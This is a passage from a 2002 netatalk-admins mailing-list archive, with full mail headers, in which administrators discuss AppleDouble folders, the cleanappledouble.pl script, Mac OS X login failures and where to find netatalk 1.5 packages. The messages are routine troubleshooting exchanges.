	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA11070
	for netatalk.administrators-members@umich.edu; Wed, 6 Feb 2002 11:07:28 -0500 (EST)
Received: from isnmmp01.interpath.net (isnmmp01.interpath.net [216.48.1.27])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA11056
	for <netatalk-admins@umich.edu>; Wed, 6 Feb 2002 11:07:27 -0500 (EST)
Received: from [192.168.110.21] ([199.72.99.66]) by isnmmp01.interpath.net
          (Netscape Messaging Server 3.61)  with ESMTP id AAABB0
          for <netatalk-admins@umich.edu>; Wed, 6 Feb 2002 11:07:21 -0500
Mime-Version: 1.0
X-Sender: arts@pop.perigee.net
Message-Id: <a05010405b8870507b13a@[192.168.110.21]>
Date: Wed, 6 Feb 2002 11:07:20 -0500
To: Netatalk <netatalk-admins@umich.edu>
From: Arts Engraving <arts@artsengraving.com>
Subject: anyone use the cleanappledouble.pl that came with 1.5.0?
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

I was hoping it would clean up some of my "jumping icons". Or is 
using it a bad idea? Any users?

-Wes
-- 
-Wes Yates
Arts Engraving Co., Inc.
3136 May Street
Charlotte NC 28217
arts@artsengraving.com
http://www.artsengraving.com
T 704-523-5115  F 704-521-9535

From netatalk.administrators-errors@umich.edu  Wed Feb  6 11:08:34 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA10651
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 6 Feb 2002 11:08:34 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA18830
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 6 Feb 2002 11:08:34 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA18795
	for netatalk.administrators-members@umich.edu; Wed, 6 Feb 2002 11:08:33 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA18750
	for <netatalk-admins@umich.edu>; Wed, 6 Feb 2002 11:08:31 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id RAA22852;
	Wed, 6 Feb 2002 17:34:51 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 06 Feb 2002 17:08:37 +0100
Subject: Re: OS X logs in but quits while idle.
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Jonathan Graham <grahamj@virtue.cx>, <netatalk-admins@umich.edu>
Message-ID: <B8871395.1B104%Thomas.Kaiser@phg-online.de>
In-Reply-To: <011f01c1ae63$dce253e0$02000a0a@justice>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Tue, 5 Feb 2002 11:40:47 -0500, Jonathan Graham wrote:

> Any ideas?

Don't continue struggling with a 'beta'. Give the final 1.5.1.1 a chance :-)
I don't know whether RPMs for Mandrake 8.1 already exists but started a
question on the netatalk-developer list regarding this topic.

Hopefully you all will find (links to) RPMs, ports and packages within the
next few days on <http://sourceforge.net/projects/netatalk/>.

Best regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Feb  6 11:17:04 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA11658
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 6 Feb 2002 11:17:04 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA00958
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 6 Feb 2002 11:17:04 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA00867
	for netatalk.administrators-members@umich.edu; Wed, 6 Feb 2002 11:16:59 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA00829
	for <netatalk-admins@umich.edu>; Wed, 6 Feb 2002 11:16:58 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id RAA22915;
	Wed, 6 Feb 2002 17:43:18 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 06 Feb 2002 17:17:05 +0100
Subject: Re: anyone use the cleanappledouble.pl that came with 1.5.0?
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Arts Engraving <arts@artsengraving.com>,
        Netatalk <netatalk-admins@umich.edu>
Message-ID: <B8871590.1B10D%Thomas.Kaiser@phg-online.de>
In-Reply-To: <a05010405b8870507b13a@[192.168.110.21]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Wed, 6 Feb 2002 11:07:29 -0500 (EST), Arts Engraving wrote:

> I was hoping it would clean up some of my "jumping icons".

Are you using '-noadouble' in afpd.conf? Symlinks inside your shares?

> Or is using it a bad idea? Any users?

You can use it first in 'preview-mode' (running it with '-p') to see what
will happen...

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Feb  6 11:24:57 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA12238
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 6 Feb 2002 11:24:57 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA29724
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 6 Feb 2002 11:24:57 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA29712
	for netatalk.administrators-members@umich.edu; Wed, 6 Feb 2002 11:24:56 -0500 (EST)
Received: from issmtp01.interpath.net (issmtp01.interpath.net [216.48.1.21])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA29688
	for <netatalk-admins@umich.edu>; Wed, 6 Feb 2002 11:24:55 -0500 (EST)
Received: from [192.168.110.21] ([199.72.99.66]) by issmtp01.interpath.net
          (Netscape Messaging Server 3.61)  with ESMTP id AAA64CC
          for <netatalk-admins@umich.edu>; Wed, 6 Feb 2002 11:24:54 -0500
Mime-Version: 1.0
X-Sender: arts@pop.perigee.net
Message-Id: <a05010406b88708d796b7@[192.168.110.21]>
In-Reply-To: <B8871590.1B10D%Thomas.Kaiser@phg-online.de>
References: <B8871590.1B10D%Thomas.Kaiser@phg-online.de>
Date: Wed, 6 Feb 2002 11:24:53 -0500
To: Netatalk <netatalk-admins@umich.edu>
From: Arts Engraving <arts@artsengraving.com>
Subject: Re: anyone use the cleanappledouble.pl that came with 1.5.0?
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>On Wed, 6 Feb 2002 11:07:29 -0500 (EST), Arts Engraving wrote:
>
>>  I was hoping it would clean up some of my "jumping icons".
>
>Are you using '-noadouble' in afpd.conf? Symlinks inside your shares?
>
>>  Or is using it a bad idea? Any users?
>
>You can use it first in 'preview-mode' (running it with '-p') to see what
>will happen...
>
>Regards,
>
>Thomas

symlinks, some.

I am in AppleVolumes.default:

:DEFAULT: options:nohex,usedots,noadouble

but I still get an .AppleDouble.

I'm not really worried about it, but if running its not  good idea.. 
then I won't. i guess I can experiment...

-Wes
-- 
-Wes Yates
Arts Engraving Co., Inc.
3136 May Street
Charlotte NC 28217
arts@artsengraving.com
http://www.artsengraving.com
T 704-523-5115  F 704-521-9535

From netatalk.administrators-errors@umich.edu  Wed Feb  6 11:38:31 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA13759
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 6 Feb 2002 11:38:31 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA00836
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 6 Feb 2002 11:38:30 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA00817
	for netatalk.administrators-members@umich.edu; Wed, 6 Feb 2002 11:38:30 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA00725
	for <netatalk-admins@umich.edu>; Wed, 6 Feb 2002 11:38:28 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id SAA23043;
	Wed, 6 Feb 2002 18:04:45 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 06 Feb 2002 17:38:32 +0100
Subject: Re: anyone use the cleanappledouble.pl that came with 1.5.0?
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Arts Engraving <arts@artsengraving.com>,
        Netatalk <netatalk-admins@umich.edu>
Message-ID: <B8871A97.1B116%Thomas.Kaiser@phg-online.de>
In-Reply-To: <a05010406b88708d796b7@[192.168.110.21]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Wed, 6 Feb 2002 11:24:53 -0500, Arts Engraving wrote:

> symlinks, some.

Well, then you will have a problem...

> I am in AppleVolumes.default:
> 
> :DEFAULT: options:nohex,usedots,noadouble
> 
> but I still get an .AppleDouble.

Of course this has to be, as besides the finder info stuff (filetype,
creator, modification date, comment, label, etc.) the resource forks are
also stored into the .AppleDouble folder. When using -noadouble, the
creation of .AppleDouble (the first time the enclosing folder will be
accessed by a mac) for files that have no resource fork (when they arrive
from wintel boxes via samba eg.) will be suppressed.

Regarding the dancing icon problem, you should read IMO:

<http://www.umich.edu/~rsug/netatalk/archive/admins/2000/1161.html>
<http://www.mtusysadm.mtu.edu/mtudocs/netatalk/netatalk-icon.html>

> I'm not really worried about it, but if running its not  good idea..
> then I won't. 

Just try the preview mode...

> i guess I can experiment...

If you duplicate portions of a share and try it?

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Feb  6 11:44:26 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA14062
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 6 Feb 2002 11:44:26 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA14706
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 6 Feb 2002 11:44:26 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA14682
	for netatalk.administrators-members@umich.edu; Wed, 6 Feb 2002 11:44:26 -0500 (EST)
Received: from issmtp01.interpath.net (issmtp01.interpath.net [216.48.1.21])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA14654
	for <netatalk-admins@umich.edu>; Wed, 6 Feb 2002 11:44:25 -0500 (EST)
Received: from [192.168.110.21] ([199.72.99.66]) by issmtp01.interpath.net
          (Netscape Messaging Server 3.61)  with ESMTP id AAA69EA
          for <netatalk-admins@umich.edu>; Wed, 6 Feb 2002 11:44:19 -0500
Mime-Version: 1.0
X-Sender: arts@pop.perigee.net
Message-Id: <a05010407b8870dabb96a@[192.168.110.21]>
In-Reply-To: <B8871A97.1B116%Thomas.Kaiser@phg-online.de>
References: <B8871A97.1B116%Thomas.Kaiser@phg-online.de>
Date: Wed, 6 Feb 2002 11:44:18 -0500
To: Netatalk <netatalk-admins@umich.edu>
From: Arts Engraving <arts@artsengraving.com>
Subject: Re: anyone use the cleanappledouble.pl that came with 1.5.0?
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>On Wed, 6 Feb 2002 11:24:53 -0500, Arts Engraving wrote:
>
>>  symlinks, some.
>
>Well, then you will have a problem...
>
>>  I am in AppleVolumes.default:
>>
>>  :DEFAULT: options:nohex,usedots,noadouble
>>
>>  but I still get an .AppleDouble.
>
>Of course this has to be, as besides the finder info stuff (filetype,
>creator, modification date, comment, label, etc.) the resource forks are
>also stored into the .AppleDouble folder. When using -noadouble, the
>creation of .AppleDouble (the first time the enclosing folder will be
>accessed by a mac) for files that have no resource fork (when they arrive
>from wintel boxes via samba eg.) will be suppressed.
>
>Regarding the dancing icon problem, you should read IMO:
>
><http://www.umich.edu/~rsug/netatalk/archive/admins/2000/1161.html>
><http://www.mtusysadm.mtu.edu/mtudocs/netatalk/netatalk-icon.html>
>
>>  I'm not really worried about it, but if running its not  good idea..
>>  then I won't.
>
>Just try the preview mode...
>
>>  i guess I can experiment...
>
>If you duplicate portions of a share and try it?
>
>Regards,
>
>Thomas


Oh, but of course, _that_ would be the problem... Geeeezzzzeee leave 
it up to me to misinterpret the directions. Thanks!

-wes
-- 
-Wes Yates
Arts Engraving Co., Inc.
3136 May Street
Charlotte NC 28217
arts@artsengraving.com
http://www.artsengraving.com
T 704-523-5115  F 704-521-9535

From netatalk.administrators-errors@umich.edu  Wed Feb  6 14:11:23 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA22929
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 6 Feb 2002 14:11:23 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA09192
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 6 Feb 2002 14:11:23 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA09168
	for netatalk.administrators-members@umich.edu; Wed, 6 Feb 2002 14:11:23 -0500 (EST)
Received: from naxos.unice.fr (naxos.unice.fr [134.59.1.5])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA09119
	for <netatalk-admins@umich.edu>; Wed, 6 Feb 2002 14:11:21 -0500 (EST)
Received: from unice.fr (irisiag.unice.fr [134.59.51.51])
          by naxos.unice.fr (8.9.3/jtpda-5.3.3) with ESMTP id UAA501008
          ; Wed, 6 Feb 2002 20:08:36 +0100 (MET)
Sender: dmattei@unice.fr
Message-ID: <3C617F52.4F7BA170@unice.fr>
Date: Wed, 06 Feb 2002 20:09:06 +0100
From: Damien MATTEI <Damien.Mattei@unice.fr>
X-Mailer: Mozilla 4.75C-SGI [en] (X11; I; IRIX 6.5 IP22)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Graham <grahamj@virtue.cx>
CC: Damien MATTEI <Damien.Mattei@unice.fr>,
        Paul Ruscito <pruscito@mediaone.net>, netatalk-admins@umich.edu
Subject: Re: Problem logging into Suse Netatalk and OS 10.1.2
References: <B884C2F3.3EC%pruscito@mediaone.net> <3C5F8CF1.935A9582@unice.fr> <00ba01c1ae5e$554fb350$02000a0a@justice>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Jonathan Graham wrote:
> 
> Try setting a login message in netatalk  add the following to your line in
> afpd.conf
> 
> -loginmesg "Welcome to my computer"
> 
> ----- Original Message -----
> From: "Damien MATTEI" <Damien.Mattei@unice.fr>
> To: "Paul Ruscito" <pruscito@mediaone.net>
> Cc: <netatalk-admins@umich.edu>
> Sent: Tuesday, February 05, 2002 2:42 AM
> Subject: Re: Problem logging into Suse Netatalk and OS 10.1.2
> 
> > Paul Ruscito wrote:
> > >
> > > All,
> > >
> > > Please Help.
> > >
> > > I have been going crazy trying to set up a Netatalk share in suse7.2 for
> my
> > > Mac OS10.1.2 machine to access and am having a problem. Here goes:
> > >
> > > I have configured system. This is my AppleVolumes.default
> > >
> > > ~ "Home Directory"
> > > /u02/apple_linux "Apple Linux"
> > >
> > > Both these shares show up after I send the login information to Linux.
> As
> > > soon as I try to open one it returns an error message stating that the
> > > server has closed connection.
> > >
> > > I think I am having a clear text password problem but have no idea how
> to
> > > diagnose. Another thing I have noticed is that I can ping the IP of
> Linux
> > > but cannot ping by machine name.
> > >
> > > Thanks in advance,
> > > Paul
> > same problem with Netatalk 1.5pre2 under RedHat 7.2: when i try to
> > connect from a Mac OS 10.0.4, i reach the share chooser dialog box and
> > after having selected one it say that the connection has been
> > interrupted.
> >
> > i 'd like to know what version run the people that have good experience
> > with
> >  Mac OS X and Netatalk?
> > --
> > MATTEI Damien Phone: +33 (0)4 93 37 76 66
> > C.N.R.S / U.N.S.A Fax:   +33 (0)4 93 53 30 71
> > UMR 6549 Instabilite & Alterations des Genomes E-mail: mattei@unice.fr
> > Faculte de Medecine - Avenue de Valombrose - 06107 NICE Cedex 2 - France
> >
> >
well it works, in sense i get in my directory but i am unable to copy
files:
error -43...
-- 
MATTEI Damien					Phone: +33 (0)4 93 37 76 66
C.N.R.S / U.N.S.A				Fax:   +33 (0)4 93 53 30 71
UMR 6549 Instabilite & Alterations des Genomes	E-mail: mattei@unice.fr
Faculte de Medecine - Avenue de Valombrose - 06107 NICE Cedex 2 - France

From netatalk.administrators-errors@umich.edu  Wed Feb  6 14:15:53 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA23629
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 6 Feb 2002 14:15:53 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA22222
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 6 Feb 2002 14:15:53 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA22041
	for netatalk.administrators-members@umich.edu; Wed, 6 Feb 2002 14:15:52 -0500 (EST)
Received: from def.con.ca (def.con.ca [216.138.220.69])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id OAA21984
	for <netatalk-admins@umich.edu>; Wed, 6 Feb 2002 14:15:42 -0500 (EST)
Message-Id: <200202061915.OAA21984@kingcreole.mr.itd.umich.edu>
Received: (qmail 11676 invoked by uid 102); 6 Feb 2002 19:15:33 -0000
Received: from inverness.poseidonet.kook (goat@10.80.1.2)
  by shelter.poseidonet.kook with SMTP; 6 Feb 2002 19:15:33 -0000
From: "leandro asnaghi-nicastro" <leandro@capnasty.org>
Organization: Capital of Nasty Electronic Magazine
To: netatalk-admins@umich.edu
Date: Wed, 6 Feb 2002 14:15:33 -0500
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: 
Priority: normal
X-mailer: Pegasus Mail for Win32 (v3.11)

unsubscribe

From netatalk.administrators-errors@umich.edu  Wed Feb  6 15:16:24 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA27249
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 6 Feb 2002 15:16:24 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA02750
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 6 Feb 2002 15:16:24 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA02726
	for netatalk.administrators-members@umich.edu; Wed, 6 Feb 2002 15:16:24 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA02678
	for <netatalk-admins@umich.edu>; Wed, 6 Feb 2002 15:16:22 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id VAA23827;
	Wed, 6 Feb 2002 21:42:19 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 06 Feb 2002 21:16:06 +0100
Subject: Forget about the pre-releases (was: Re: Problem logging into Suse
	Netatalk and OS 10.1.2)
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Damien MATTEI <Damien.Mattei@unice.fr>,
        Jonathan Graham <grahamj@virtue.cx>
CC: Paul Ruscito <pruscito@mediaone.net>, <netatalk-admins@umich.edu>
Message-ID: <B8874D95.1B17F%Thomas.Kaiser@phg-online.de>
In-Reply-To: <3C617F52.4F7BA170@unice.fr>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Wed, 06 Feb 2002 20:09:06 +0100, Damien MATTEI wrote:

> Jonathan Graham wrote:
>> 
>> Try setting a login message in netatalk  add the following to your line in
>> afpd.conf
>> 
>> -loginmesg "Welcome to my computer"
> [...]
> well it works, in sense i get in my directory but i am unable to copy
> files:
> error -43...

<http://www.geocrawler.com/archives/3/5215/2001/7//6274412/>
<http://www.geocrawler.com/archives/3/5215/2001/6/50/5996307/>
<http://www.macintouch.com/mosxreaderreports80.html#jan18>

Damien,

you are still using an old beta (1.5pre2 is _very_ old). Instead of trying
to find workarounds for several already fixed bugs, you should give the
final version a try...

1.5 has been released 5 weeks ago (kudos to the whole netatalk development
community!) and RPMs for your RedHat distribution are available from here:

<http://kraftwerk.adsl.dk/netatalk/>
<ftp://ftp.falsehope.net/home/tengel/netatalk/>

You can try <http://rpmfind.net/linux/rpm2html/search.php?query=netatalk>
too (courtesy Jonathan Graham ;-)

SuSE users should visit <ftp://ftp.suse.com/pub/people/olh/netatalk/> and on
<http://non-us.debian.org/debian-non-US/pool/non-US/main/n/netatalk/> you
will find Debian packages

FreeBSD users will find up-to-date ports on any FreeBSD mirror or on:
<ftp://ftp5.FreeBSD.org/pub/FreeBSD/branches/-current/ports/net/netatalk>
(Don't know about Open- and NetBSD)

Maybe we can collect here on this list all our needs for which platforms or
distributions netatalk should be distributed as RPMs, packages or ports?

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Feb  6 16:29:22 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id QAA01651
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 6 Feb 2002 16:29:22 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA29341
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 6 Feb 2002 16:29:22 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA29324
	for netatalk.administrators-members@umich.edu; Wed, 6 Feb 2002 16:29:21 -0500 (EST)
Received: from mout03.kundenserver.de (mout03.kundenserver.de [195.20.224.218])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA29208
	for <netatalk-admins@umich.edu>; Wed, 6 Feb 2002 16:29:16 -0500 (EST)
Received: from [172.19.20.60] (helo=mrelayng0.kundenserver.de)
	by mout03.kundenserver.de with esmtp (Exim 2.12 #2)
	id 16YZci-0008W3-00
	for netatalk-admins@umich.edu; Wed, 6 Feb 2002 22:29:00 +0100
Received: from [193.158.172.205] (helo=[193.158.172.205])
	by mrelayng0.kundenserver.de with asmtp (Exim 3.22 #2)
	id 16YZch-00061F-00
	for netatalk-admins@umich.edu; Wed, 06 Feb 2002 22:29:00 +0100
User-Agent: Microsoft-Entourage/9.0.2.4011
Date: Wed, 06 Feb 2002 22:29:26 +0100
Subject: Re: Network Browser & SLP
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B8863098.2FF90%ts@visual-s.de>
In-Reply-To: <p05100300b885bebd711a@[10.0.1.10]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Interesting ... at work, connecting against an ASIP 6.3.2 on 9.0.4 server
(we have AppleTalk enabled), from an OS 9.2.2 workstation AppleTalk
logins initiated by Network Browser work like a charm, whereas TCP logins
fail miserably. I'll see if I can find a 9.1 workstation tomorrow.

-Thomas

On 2002-02-05 18:08 +0100, Ken Gillett wrote:

> Since my last post regarding:-
> 
>> 
>> Why NB on the G3 refuses to mount the Netatalk and other volumes?
>> 
> 
> I have downgraded the AppleShare extension from 3.9.2 that is part of
> OS 9.2 to 3.8.8 from OS 9.1 and guess what - SUCCESS. I can now mount
> volumes directly from the Network Browser AND aliases to the volumes
> work even if not already connected to that server.
> 
> So Apple would appear to have introduced a problem with its latest OS
> updates that prevents mounting outside the Chooser.
> 
> I'm still intrigued though as to why even with this working
> AppleShare extension this G3 does not display the 'Local Services'
> neighborhood in NB as does the 8500 - they are now both using the
> same NSL Manager version and AppleShare extn.
> 
> I would like to be able to group FTP, AFP and HTTP services into
> their own neighborhoods and I 'think' scopes can be used for this,
> but so far it's not worked. Has anyone else been able to do this with
> their Netatalk servers?

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Thu Feb  7 03:15:02 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id DAA01988
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Feb 2002 03:15:02 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA15875
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Feb 2002 03:15:02 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA15847
	for netatalk.administrators-members@umich.edu; Thu, 7 Feb 2002 03:15:01 -0500 (EST)
Received: from smtp.netcase.nl (netcase.xs4all.nl [213.84.213.164])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id DAA15793
	for <netatalk-admins@umich.edu>; Thu, 7 Feb 2002 03:15:00 -0500 (EST)
Received: from netcase.nl (nicky.netcase.nl [10.0.0.10])
	by smtp.netcase.nl (Postfix) with ESMTP
	id F13EA1FFA9; Thu,  7 Feb 2002 09:13:28 +0100 (CET)
Message-ID: <3C623766.D58429B9@netcase.nl>
Date: Thu, 07 Feb 2002 09:14:30 +0100
From: Nicky Haan <nicky@netcase.nl>
X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
Cc: Jonathan Graham <grahamj@virtue.cx>, netatalk-admins@umich.edu
Subject: Re: OS X logs in but quits while idle.
References: <B8871395.1B104%Thomas.Kaiser@phg-online.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I did compile the srpm on a mandrake 8.1 system, worked as a charm.

ftp://rpmfind.net/linux/Mandrake-devel/cooker/SRPMS/netatalk-1.5.1.1-1mdk.src.rpm

Running on 3 systems now (one 8.0)

Were already available last week.

Succes

Thomas Kaiser wrote:

> On Tue, 5 Feb 2002 11:40:47 -0500, Jonathan Graham wrote:
>
> > Any ideas?
>
> Don't continue struggling with a 'beta'. Give the final 1.5.1.1 a chance :-)
> I don't know whether RPMs for Mandrake 8.1 already exists but started a
> question on the netatalk-developer list regarding this topic.
>
> Hopefully you all will find (links to) RPMs, ports and packages within the
> next few days on <http://sourceforge.net/projects/netatalk/>.
>
> Best regards,
>
> Thomas

--
----------------------------------------
Nicky Haan
Unix/Linux Sysadmin / Systems Engineer
NetCASE Interactive Solutions
Dr. Nolenslaan 140
6136 GV Sittard
Netherlands
Tel: +31(0)46 420 1880
Fax: +31(0)46 420 1881
E-Mail: Nicky@netcase.nl
Web: www.netcase.nl
----------------------------------------



From netatalk.administrators-errors@umich.edu  Thu Feb  7 04:20:47 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id EAA04993
